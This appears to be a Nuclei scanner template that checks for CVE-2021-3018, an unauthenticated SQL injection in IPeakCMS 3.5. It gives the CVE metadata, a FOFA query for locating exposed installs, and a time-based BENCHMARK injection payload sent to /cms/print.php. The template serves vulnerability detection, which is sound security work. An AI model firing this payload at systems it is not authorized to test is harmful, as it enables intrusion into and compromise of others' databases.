IPeakCMS 3.5 - SQL Injection

id: CVE-2021-3018

info:
  name: IPeakCMS 3.5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    ipeak Infosystems ibexwebCMS 3.5 contains an unauthenticated Boolean-based SQL injection caused by unsanitized 'id' parameter in /cms/print.php, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
  reference:
    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-ipeak-cms-sqli.md
    - https://m4dm0e.github.io/2020/12/07/ipeak-cms-sqli.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3018
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, data tampering, or full database compromise.
  remediation: |
    Apply the latest security patches or update to a version that fixes this vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3018
    epss-score: 0.19506
    epss-percentile: 0.9704
    cwe-id: CWE-89
    cpe: cpe:2.3:a:ipeak:ipeakcms:3.5:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 2
    vendor: ipeak
    product: ipeakcms
    fofa-query: body="ipeak" && body="3.5"
  tags: cve,cve2021,ipeakcms,cms,sqli,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /cms/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ipeak", "webCMS-3.5")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /cms/print.php?id=1%20AND%207334=BENCHMARK(8000000,MD5(0x73636a72)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
          - 'contains(body,"onLoad=\"print();\"")'
        condition: and
# digest: 4a0a00473045022100a43b6d204b61732744ca12f634065776bc408a7b45a3ddfe06f29cab519f2d1302202a49932dc9d40dd356fba304b27c7e95278cb71b71368d3746abb7f97b84518e:922c64590222798bb761d5b6d8e72950